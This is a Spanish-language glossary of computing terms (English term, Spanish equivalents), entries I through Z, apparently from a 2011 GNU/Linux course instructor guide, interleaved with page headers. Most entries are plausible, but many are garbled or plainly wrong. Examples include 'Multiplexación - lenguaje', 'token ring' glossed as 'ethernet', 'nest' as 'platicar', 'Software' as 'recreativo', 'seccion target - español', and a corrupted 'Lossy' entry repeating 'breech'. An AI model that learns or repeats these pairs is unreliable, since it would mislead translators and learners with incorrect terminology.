isocrono (del prefijo griego iso, igual, y de la palabra griega crono, tiempo).Isomorphism - isomorfismo.ISP (Internet Service Provider) - proveedor de servicios de internet.Italic - cursiva.Item - elemento, objeto.Iteration - iteración (del latín iteratio, -onis).

Jjabber - torrente de palabras ininteligibles.jabber (v) - hablar mucho, hablar incoherentemente, farfullar.jagged picture - imagen serrada.jigsaw puzzle - rompecabezas, casa.Jitter - ruido, nieve, en redes IP, variación en el retardo (RTT) de los paquetes.Job - trabajo.Journal - base de datos transaccional (cf. sistema de archivos transaccional).journaling file system - sistema de archivos transaccional.Joystick - videomando, ludomando, mando para jugar, palanca para juegos.Jumper - puente, puente deslizable, puente configurable, conector.Junk-mail - correo basura.justify (v) - alinear.

Diplomado de GNU/Linux151

Page 152: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Kkeepalive - latidos.Kernel - núcleo, fallo en kernel32.Kerning - interletraje (ajuste de espacio entre ciertos pares de caracteres para que estos se impriman con un toque estético), ligadura, interletraje (ajuste de espacio entre ciertos pares de caracteres para mejorar su legibilidad).Key - 1. llave. 2. tecla. 3. clave. 4. tono, tonalidad. 5. crucial, de importancia, significante.key escrow - depósito de claves.key fingerprint - huella de clave.key pair - par de claves.Keyboard - teclado.keyboard shorcuts - métodos abreviados de teclado.keyboard shortcut - método abreviado de teclado, atajo de teclado.Keyring - anillo de claves, archivo de claves.Keyword - palabra clave.Kick - expulsar, echar.Kit - conjunto, juego, paquete.Knowbot - robot, buscador, buscador en la red (programa que busca y clasifica información automáticamente en una red, a diferencia de buscador en una base de datos propia), buscador inteligente (programa que utiliza técnicas derivadas de la rama de inteligencia artificial para realizar búsquedas y guardar perfiles de los usuarios), robot de búsqueda, KNOMBOT, outdoor.

Llabel - etiqueta.Latency - latencia.Lattice - red, trama.Layer - capa.Layers - capas.Layout - esquema, diseño, composición, gestor de geometría (en algunos programas gráficos).Leak - fuga (de un gas o líquido por un agujero), escape, pérdida.leap second - segundo intercalar.Lease - arrendamiento (de una dirección IP, por medio de un servidor DHCP).Legalese - condiciones legales, jerga legal.Library - librería, biblioteca (cuando library se refiere al edificio donde se almacenan libros, sin lugar a dudas que la traducción correcta es biblioteca; pero en el contexto informático es más usada librería, ya que además de una tienda de venta de libros, librería también es un mueble donde se guardan documentos), biblioteca.lightning effects - efectos de iluminación.Line - línea, renglón.line wrap - encapsulamiento de línea, retorno automático de líneas.Link - enlace, vínculo, liga, eslabón.link (v) - enlazar, conectar, vincular, crear vínculos.Linker - enlazador.Liquid Cristal Display (LCD) - pantalla de cristal líquido.list view - lista de elementos.Little-endian - byte menos significativo primero.Live CD - CD Vivo.

Diplomado de GNU/Linux152

Page 153: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Loadable - cargable, enchufable (cf PAM, módulos del núcleo.Local Area Network (LAN) - red de área local.Locale - opciones de localización, localizaciones.Lock - cerrojo, candado, cerradura, bloqueo.lock (v) - cerrar con llave, trancar.lock file - archivo de bloqueo.Log - registro, bitácora.log (v) - registrar.log in (v) - ingresar, entrar en, comenzar la sesión, entrar al sistema, conectarse, registro ('log' es registro en inglés), registrarse ('log' es registro en inglés).log on (v) - ver ``log in''.log out (v) - salir de.Logger - gestor de registro de actividades.Login - ingreso, acceso.login banner - mensaje de ingreso, mensaje de bienvenida.Logout - salir del sistema.LOL - MDR (muerto de risa, acrónimo).look and feel - aspecto y funcionalidad, aspecto visual y operacional.Loop - ciclo, bucle.Loopback - circuito cerrado.Lossy - con pérdida, perdida, compresión resumida, compresión con pérdida (de información), compresión por reducción, breech, breech, ARCHIVO, (compesión ~) Inform. adj. Elimina redundancia en datos y procura reducir al mínimo la cantidad de información perdida en el proceso de compresión y descompres, ión de los datos. rev: "...proceso de codificar (compresión) y de descifrar (el descomprimirse) los datos."luminance - luminancia.Lvalue - valor a la izquierda, valor-l.

Mmail - correo, mensaje.mail (v) - enviar por correo.mail hub - distribuidor de correo.Mailbox - buzón.Mailer - gestor de correo, agente de correo, corresponsal, cartero.mailing list - lista de correo, lista postal, lista de distribución.Mainframe - macrocomputadora, ordenador de escala superior.Maintainer - responsable del mantenimiento, encargado del mantenimiento, responsable, encargado, administrador.Map - mapa, MAPA DE BITS, mapa de vinculo.map (v) - mapear, asignar.Markup - marcado.markup language - Inform. m. lenguaje marcado. Un sistema de codigo de instrucción que se entrelaza con el contenido de un documento para definir su apariencia de presentación.Mask - máscara, mascara de red.mask (v) - enmascarar, ocultar.Masking - enmascaramiento.Masquerading - emmascarado, enmascaramiento, mimetización.Master - maestro, amo.master boot record - registro principal de arranque, registro principal de inicio (en disco duro).

Diplomado de GNU/Linux153

Page 154: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Match - concordancia (objeto o persona que se encuadra bien con otra).match (v) - coincidir, encuadrar, encajar, concordar, emparejar.Mbr - cf. master boot record.Measure - medida, métrica.merge (v) - mezclar, fusionar, incorporar.Mesh - malla.message digest - condensado de mensaje.Method - método.Milestone - hito, punto de referencia.Mirror - réplica.mirror site - réplica.Mismatch - discordancia.Misplaced - extraviado.Mistake - equivocación, error.mix (v) - mezclar.Mixer - mezclador.mobile IP protocol - protocolo IP móvil.mobile node - nodo móvil, ordenador móvil.Modem - modem, (Modulador - Demodulador).Module - módulo.monitor (v) - supervisar, controlar.Mount - montaje (como en un sistema de archivos).mount (v) - montar.mount point - sitio para montaje (sistema de archivos/archivo).Mouse - ratón, raton, RATON.Multiplexación - lenguaje.Mute - silencio.

Nname resolution - resolución nominal (cf dns).named pipes - tuberías designadas, tuberías con nombre, cauces designados.Namespace - espacio de nombres.nest (v) - anidar, conectar, platicar.Nested - anidado.Netbook – mini laptop, computadora portatil.Netboot - arranque a través de la red.Netmask - máscara de red.Netmount - montaje (de un sistema de archivos) a través de la red.Network - red.New - noticias.Newbie - principiante, definicion de newbie.news feed - proveedor de noticias, fuente de noticias, suministro de noticias.Newsgroups - grupos de noticias, grupos de discusión, foros de discusión.Nickname - apodo, alias.noise gate - bloqueador de ruidos.Non-octet - diferente a un octeto.Notebook - agenda electrónica.Numsigns - alfanumérico.

O

Diplomado de GNU/Linux154

Page 155: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

object - objeto.object oriented - orientado por (a) objetos.Object-oriented programming - programación orientada a objetos.Octet - octeto, byte.Ocurrence - caso, aparición.Off-line - desconectado, fuera de línea.Offset - offset, desplazamiento.Off-topic - fuera de temática, fuera de tema.OK - aceptar.on the fly - sobre la marcha.On-line - conectado, en línea.open source - código fuente abierto, free.Option - opción.ordered data journaling - registro ordenado de datos (cf. sistema de archivo transaccional, ext3).Outline - bosquejo.Output - m. output, salida, resultado.Overall - por encima, en general.Overflow - desbordamiento.Overhead - sobrecarga, Residuo a depurar.Overload - sobrecarga.overload (v) - sobrecargar.override (v) - redefinir, reescribir, reemplazar.Owner - propietario.

Ppager - 1. buscapersonas. 2. paginador, conmutador (tal como se usa en gestores de ventanas).pan (v) - mover.panorama image - galería panorámica, NOR.Parameter - parámetro.parse (v) - analizar sintácticamente.Parser - intérprete, analizador.Partition - partición, partition.partition table - tabla de particiones.Passphrase - contraseña, frase de paso (más de una palabra).Password - contraseña, palabra de paso, palabra clave.Patch - parche, modificación.patch (v) - actualizar, parchear, emparchar.patch file - archivo (archivo) de parche.Path - camino, trayectoria, ruta.Pattern - patrón.Peer - vecino, conector, punto.Peer-to-peer - entre iguales.Penalty - penalización.perform (v) - realizar (una acción).Performance - rendimiento, desempeño.Period - punto.Piggybacking - confirmaciones superpuestas, superposición de confirmaciones.Pin - patilla, pata, contacto.Ping - ping, chequeo de respuesta.

Diplomado de GNU/Linux155

Page 156: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Pipe - tubo, tubería, filtro.pipe (v) - entubar, redireccionar, derivar, redirigir la salida a.pipeline - línea-de-ensamble. En Diseño de computadoras, una "línea de ensamble" en el microprocesador que acelera dramáticamente el procesamiento de instrucciones. canalajePipeling - redireccionamiento.Pitch - tono, altura.Pixel - píxel, punto, megapixel.Placeholder - de relleno.Placer - posicionador.Plaintext - texto llano.Play - reproducir, tocar (música).Player - 1. jugador. 2. reproductor (de discos compactos), intérprete (de archivos de sonido).Playlist - lista de reproducción.Plotter - trazador, graficador, PLOTTER (S).plug and play - enchufar y usar.plug and play (v) - pinchar y listo.plug and pray - pincha y reza (para que funcione; véase plug and play).Plug-in - accesorio, añadido, módulo.Pluggable - conectable.Pointer - puntero, índice (de una matriz de datos).Policy - política, normas, reglas, normativa, directrices, criterios.poligonal mesh - malla de polígonos.Poll - sondeo.poll (v) - sondear.Polling - sondeo.pop-up menu - menú desplegable.popup menu - menú emergente.Port - 1. puerto, puerta (referido al protocolo TCP/IP). 2. migración, porteo (versión de un programa para otra plataforma), puertos de un CPU.port (v) - portear, portar, adaptar (hacer una versión de un programa para otra plataforma).Portable - portátil.Portage - porteo, Portage (sistema de administración de paquetes de Gentoo).Portscan - sondeo de puertos, escaneo de puertos .portscan (v) - sondeo de puertos, escaneo de puertos.Post - envío, POWER ON SELF.post (v) - remitir, publicar (en un grupo de noticias).Poster - autor (de un artículo o mensaje).posting agent - agente de envío.Postmaster - administrador postal, administrador de correo, postmaster.Postponed - pendiente.Power - alimentación (energía), potencia.Preemptible - apropiable.Preemptive - apropiativo, expropiativo.Preview - vista previa, visualización previa.Primary key - Clave primaria.Private - privado, confidencial.private key cryptography - Criptografía con clave privada.Profile - perfil.profile (v) - perfilar.

Diplomado de GNU/Linux156

Page 157: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Profiler - perfilador.Profiling - parametrización, personalización, perfilado, acción de medir el rendimiento de un programa, personalización (igual que customización), Customización no existe en el VCT ni en el Dic. de la RAE. Además suena horrible. diseño, ajuste, tallado; y tallar sería evaluar el rendimiento del programa , evaluación, valoración, ¿adaptación?, afinado/afinamiento, ; perfilar m. Inform. La actividad de coleccionar informacion de algo con la finalidad de describirlo.profiling execution - perfil de uso de recursos (del programa ejecutado).Programmer - programador.Programming - programación, Programacion, programas, programa, programacion.Prompt - cursor, símbolo de espera de órdenes, punto indicativo.prompt (v) - apremiar.Properly - apropiadamente.proprietary software - software de propietario, software en propiedad.provide (v) - proporcionar, proveer, abastecer, habilitar.Proxy - proxy, representante, apoderado.public key cryptography - Criptografía con clave pública.Pump - bomba.Punch-in - grabación mediante el método de disparo.purge (v) - purgar, limpiar.

Qquery - consulta, pregunta, petición.Queue - cola.quit (v) - renunciar, abandonar, finalizar, acabar.Quota - cuota.Quote - 1. comilla. 2. cita (de un libro, por ejemplo).quote (v) - citar (referir textualmente).quoted text - texto citado.

Rrace condition - condición de carrera.radio button - botón de radio, botón de opción (botón dentro de un grupo en que sólo uno puede estar pulsado a la vez).Radiosity - radiosidad.Random - aleatorio.Randomizer - generador de aleatoriedad, selector aleatorio, aleatorizador, Generador de números aleatorios. sorteador , (v) sortear, secuenciador aleatorio, aleatorizador, Generador de números aleatorios, v. range, margen, alcance, gama, surtido, línea, intervalo, variedad.Rank - rango.Rate - tasa.rate (v) - calificar, clasificar.Rating - calificación, clasificación.Raw - crudo, virgen.raw mode - modo primitivo, modo directo, modo sin formato.Ray-tracing - trazado de rayos.re-spawn (v) - reiniciar.read only - sólo lectura.Read-only - Sólo para lectura.Readme - leame, leeme.

Diplomado de GNU/Linux157

Page 158: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Realm - reino (conjunto de páginas web cubiertas con el mismo par usuario/contraseña).Realtime - en tiempo real, en vivo.reboot (v) - reiniciar, rearrancar.Receiver - receptor, destinatario.Recipient - destinatario (de una carta, mensaje, etc...).redirect - redirigir, redirigir.Refresh - actualizar, actualizar, refrescar (en casos en que actualizar tenga el sentido de update).refuse (v) - rehusar, rechazar.regular expression - expresión regular.Relay - 1. repetidor, conmutador, relevador, relevo, relé. 2. reenvío, conmutación.relay host - nodo de reenvío, conmutador.Release - lanzamiento, publicación, entrega, versión, revisión.release (v) - lanzar, publicar, sacar.rely on (v) - depender de, confiar en, delegar en.Remailer - reexpedidor.remove (v) - remover, retirar, quitar, sacar (la traducción remover desagrada a algunos, pero otras alternativas que proponen como ``borrar'' o ``desechar'' pueden causar confusión; por ejemplo ``remove the disk'' no debe ser traducido como ``borre el disco''), extraer (se adecua al ejemplo de "remove the disk").Rendering - síntesis de imágenes, renderizado, representación.reply (v) - responder (al autor de un artículo o mensaje).Repository - repositorio.Request - pedido, peticion.require (v) - necesitar, exigir.Requirement - requisito.Resample - remuestrear.Reset - reinicio.reset (v) - reiniciar.reset button - botón de reinicio.Resize - redimensionar.Resolution -resolución.Resolver - sistema de resolución, traductor de direcciones, resolutor.resume (v) - reanudar, retomar.Ripper - extractor de audio.Roadmap - plan de acción, plan estratégico, calendario de mejoras,.Root - superusuario, directorio raíz, administrador, administrador del sistema.root exploit - explotación de root.roster (término de Jabber) - lista de contactos.round trip time (RTT) - Tiempo de ida y vuelta.Router - encaminador, enrutador, definicion, router.Routing - encaminamiento, enrutamiento.routing table - tabla de rutas.RTFM - LEJM ('Read the Fucking Manual' : 'Lee el Jodido Manual').Run - ejecución .run (v) - ejecutar, correr, operar, utilizar (término muy problemático pq según el contexto tiene un sentido temporal momentáneo [la ejecución] o continuo [estado operativo]).run out of memory - agotar la memoria.run time - tiempo de ejecución.Runlevel - nivel de ejecución (al iniciar o arrancar el sistema operativo).

Diplomado de GNU/Linux158

Page 159: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

runtime library - biblioteca de ejecución.

Ssample rate - frecuencia de muestreo.Scalable - redimensionable.Scanner - escáner, digitalizador, que es, scanner:.Scanning - barrido, rastreo.Schedule - horario.schedule (v) - planificar, programar, organizar.Scheduler - planificador, planificador de tareas.Schema - esquema.scratch (from) - de cero, desde el principio.Screen - pantalla.screen saber - salvapantallas, protector de pantallas, definición.Screenshot - captura de pantalla.Script - guión, macro, script, archivo de comandos, archivo de órdenes.script kiddie - aprendiz de cracker. alguien que busca romper sistemas en red con herramientas hechas por otros.Scroll - desplazamiento, lista, rollo.scroll (v) - desplazar.scroll down (v) - avanzar.search engine - motor de búsqueda.seccion target - español.Sentence - sentencia.separation of concerns - separación de asuntos.Server - file server, servidor, servidor, servidor.servidor espejo - serveur miroir, servidor.shadow passwords - Sistema de encriprtación de dichas contraseñas utilizado en sistemas Unix/Linux.sharpen (v) - enfocar.Shell - shell. Interfaz de comandos.shell menu - menú de sistema.Single-stepping - seguimiento sencillo.Skin – skin, piel (generalmente usado para temas).Slash - (/).slideshow - presentación con diapositivas.Snapshot - instantánea.Snippet - snipett.Software - recreativo, código, software, soporte lógico, lógica, aplicación, programa.software localization - (de un programa) traducción diatópica, traducción regional, diatopización (sólo para ejecutivos)source - re-lectura (de archivo de configuración); en la shell bash, sinónimo del comando en forma corta.source tree - árbol de fuentes, árbold de código fuente.Spam - correo comercial no deseado (e-mail de propaganda).Speed - velocidad.sroll up (v) - retroceder.Scrollable - deslizable.Search - búsqueda.search (v) - buscar.search engine – buscador, motor de busqueda.

Diplomado de GNU/Linux159

Page 160: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

search wrapped - búsqueda reiniciada desde el comienzo.Secure Socket Layer (SSL) - capa de conexión segura.seek (v) - buscar.segmentation fault - violación de segmento.Semicolon - punto y coma (;).sender - remitente, Remitente (de una carta, e-mail, etc...).sequence - secuencia, sucesión.Sequencer - secuenciador (hardware o software destinado a grabar y reproducir música electrónica en tiempo real usando MIDI, con edición simple de las notas).Server - servidor (de correo, noticias, HTTP, etc).Set - conjunto.set (v) - 1. colocar. 2. definir. 3. ajustar. 4. fijar.set up – configuración, instalación.Setting - configuración.setup (v) – configurar, instalación, instalador.shadow passwords - contraseñas ocultas.shared memory - memoria compartida.sharpen (v) - 1. afilar. 2. mejorar la imagen (hacerla más nítida).Shell - shell (femenino), capa, intérprete de comandos.shell script - archivo (archivo) de comandos, script de shell.Shift - desplazamiento.shift (v) - levantar, desplazar.Shortcut - atajo.Shorthand - abreviado, taquigrafía.shrink (v) - reducir.Shutdown - apagar, cerrar.Signature - 1. firma. 2. identificación.Silently - sin aviso, discretamente, silenciosamente .Simple Mail Transfer Protocol (SMTP) - protocolo simple de transferencia de correo .Site - sitio, local, instalación, sede, recinto, conjunto de paginas relacionads entre si por ejemplo esmas.comskin - carátula.skip (v) - omitir.Slash - barra.Slot - 1. ranura. 2. posición.snap (v) - agregar.Snapping - agregado.Snapshot - 1. captura de imagen, captura de pantalla, pantallazo. 2. imagen instantánea sniffer - rastreador, escrutador.Snippet - recorte, retazo.Splashscreen - pantalla de presentación.Socket - socket, enchufe, zócalo, conexión.soft link - enlace lógico, enlace flexible.Software - software, soporte lógico, lógica, aplicación, programa.sort (v) - ordenar, clasificarsort of - tipo de, clase de, más o menos.sound effect - efecto sonoro.Source - 1. origen. 2. código fuente.source code - código fuente.spawn (v) - iniciar.Specification - especificación.

Diplomado de GNU/Linux160

Page 161: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Specs - especificaciones.specular highlights - reflexiones especulares.Spell - hechizo.spell (v) - deletrear.Spelling - ortografía.Spike - pico (en una gráfica).spin lock - cerrojo, spin lock.Splitter - divisor.sponsor (v) - patrocinar.spoof (v) - engañar, falsificar.Spool - cola, lista de espera, cola de impresión.spool directory - directorio de la cola.Spreadsheet - hoja de cálculo.Stack - pila.Staff - (sust.) Personal.Stalled - atascado.Standard - estándar, patrón, norma.stat (v) - verificar.statistical sampling - muestreo estadístico (de registros en una base de datos).Stats - estadísticas.Statement - declaración, cláusula.Stochastic - estocástico.Store - almacen, depósito.Stream - corriente, flujo, secuencia (vídeo), secuencia.stream (v) - optimizar, Transmitir por una corriente, serializar.Stride - espaciamiento (entre elementos consecutivos de un vector).String - cadena de caracteres.strip (v) - despojar, desnudar (eliminar los símbolos de depuración en un programa o biblioteca)stroke - 1. golpe. 2. ataque (he died of a stroke). 3. movimiento. 4. trazo.stroke (v) - trazar.Submit - remitir, enviar.Subject - asunto.Subnet - subrred.Subscript - subíndice.Superblock - superbloque (cf. sistema de archivos/archivo).supersede (v) - sustituir, modificar.Support - soporte, apoyo, respaldo, asesoría, (nota: soporte no es correcto castellano es un 'falso amigo')support (v) - apoyar, ayudar, colaborar, , permitir, aceptar, reconocer.Surfer - navegante.surround sound - sonido envolvente.Swap - intercambio.swap (v) - intercambiar, swapping.swap partition - Partición de intercambio.Switch - interruptor, conmutador, switch, switch de nivel 1.symbolic link - enlace simbólico.Symlink - enlace simbólico.syntax highlighting - resaltado de sintaxis, syn.system call - llamada al sistema.system logger - gestor de registro de actividades del sistema.

Diplomado de GNU/Linux161

Page 162: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Ttab - pestaña, lengüeta, tira, tabulador, ficha, solapa.tab completion - terminación por tabulador (tecla Tab).Tag - marca, coletilla, etiqueta.Tarball - archivo tar, archivo producido por el programa tar.Target - destino, objetivo.target partition - partición de destino.Task - tarea.technnical support - asistencia técnica.Template - plantilla.terminal input - entrada.Test - prueba, test.test (v) - evaluar, probar.texture mapping - aplicación de texturas.third party - entidades externas (...no se me ocurre nada más descriptivo, mejoradlo)thread - hilo (hilo de mensajes en una lista, o hilo de ejecución en un programa), hebrathreshold - umbral.threshold level - valor umbral.Throughput - flujo, caudal de datos, rendimiento total, productividad, tasa de transferenciathumbnail - miniatura.Ticker - teletipo.Ticket - tiquete.Tile - baldosa, mosaico.tile (v) - embaldosar.Timeout - timeout, expiración de plazo, tiempo de espera agotado.Timer - temporizador.Timeslice - porción de tiempo, partición de tiempo.Timestamp - marca de tiempo, fecha y hora, sello temporal.Tiny - diminuto.Tip - consejo, sugerencia.to watch - monitorizar, observar, seguir, vigilar, (v).toggle - conmutado, biestable.toggle (v) - alternar (entre dos estados).Token - símbolo, lexema.token ring - anillo de fichas, ethernet.Tool - utilería, herramienta.Toolbar - barra de herramientas, barra de herramientas.Toolkit - juego de herramientas, conjunto de herramientas.Torque - par.Trace - traza.trace (v) - trazar, rastrear.trade off - contrapeso, equilibrio, balance.trade off (v) - contrapesar.trailing spaces - espacios finales.transactional integrity - integridad transaccional.Transport - transporte.transport (v) - transportar, transport vehicule.tree view - lista jerárquica, toolchain.

Diplomado de GNU/Linux162

Page 163: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Trigger - disparador.Troll - trole, metepatas, bocazas.troll (v) - meter la pata, reventar un debate.Troubleshooting - eliminación de problemas, solución de problemas, localizar problemastroyanized program - programa comprometido. programa modificado con código malicioso.Trusted - confiable.tune (v) - afinar.Tutorial - guía, tutorial, Tutorial.Tweak - arreglo.tweak (v) - afinar.twisted pair - par trenzado.Type - tipo.type (v) - teclear.Typing - impresión (en papel, por ejemplo).Typo - errata, , error ortográfico.

Uundefined - indefinido.Underflow - desbordamiento por abajo.Uniform Resource Locator (URL) - localizador, Recurso de locación uniforme (cuando se refiere a dirección de internet se usa URL).Unindent - desangrar (?).Uninterruptible Power Supply (UPS) - sistema de alimentación ininterrumpida.Universal Asynchronous Receiver and Transmiter (UART) - receptor/transmisor asíncrono universal, syn.Up - operacional, en funcionamiento.Update - actualización, de software.update (v) - actualizar.Upgrade - mejora, versión mejorada.upgrade (v) - promover, mejorar, instalar una versión mejorada, modernizar.Upload - subir, cargar (copiar en un servidor remoto).Upstream - flujo ascendente.upstream port - puerto de envío.upstream version - versión original.Usability - ergonomía.User - usuario, Usuario, Persona que accede a un sistema de internet.user friendly - fácil de usar.Userland - área de usuario.Using - español ingles, usando.Utility - utilidad, generalmente un programa de sistema para un uso específico.

Vvalidity - validez.Value - valor.Variation - variación, variante, variable, tipos de variables, VARIABLE CONSTANTE.Verbatim - literal, textual, al pie de la letra.Verbose - prolijo, pormenorizado, detallado, verboso.vertex blending - combinación de vértices.view layout - vista de disposición.Viewer - visor.Volatility - volatilidad.

Diplomado de GNU/Linux163

Page 164: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Voltage - voltaje.volume group - en el manejador de volúmenes lógicos (lvm, en inglés): grupo de volúmenesvulnerability scanner - analizador de vulnerabilidades (generalmente el análisis será automático, pero a veces podría ser dirigido).

Wwallpaper - fondo, mural, papel tapiz, fondo de pantalla, fondo de escritorio, imágen del fondo, telón de fondo, papel de empapelar, imagen de fondo, tapiz, fondo de pantalla, papel de pared, papel tapiz, empapelado, papel mural, estilo de escritorio, fondo pantallawarehouse - almacenamiento masivo.Warning - advertencia, aviso.Watchdog - perro guardián, aplicación guardiana.Web - 1. web (femenino: ``búscalo en la web'', ``se encuentra en muchos sitios web'') 2. red, trama, la web, concepto, concepto, WED SITE, webWeb Mail Folder (WMF) - carpetas de correo web.Webcam - cámara de videoconferencia.Weblog - portal de noticias, cuaderno de bitacora, blog, diario.Website - sitio web.Widget - widget, control, componente.Wildcard - comodín.window manager - gestor de ventanas, administrador de ventanas.Wireless - inalámbrico, red inalambrica, sin hilos.Wishlist - deseable, lista de mejoras.Wizard – asistente.word wrap - ajuste de línea, encapsulamiento de palabra, retorno automático de palabras Workaround, arreglo temporal.wrap (v) - encapsular, forrar, envolver.Wraparound - envoltura, envolvente, reciclado.Wrapper - envoltura, forro, empacador, envoltorio.WYSIWYG - "What You See Is What You Get". Lo que ves es lo que obtienes.

Yyank (v) - insertar un trozo de texto en la posición actual del cursor.

Zzap - fulminar.zoom in (v) - acercar.zoom-out (v) - alejar.

Diplomado de GNU/Linux164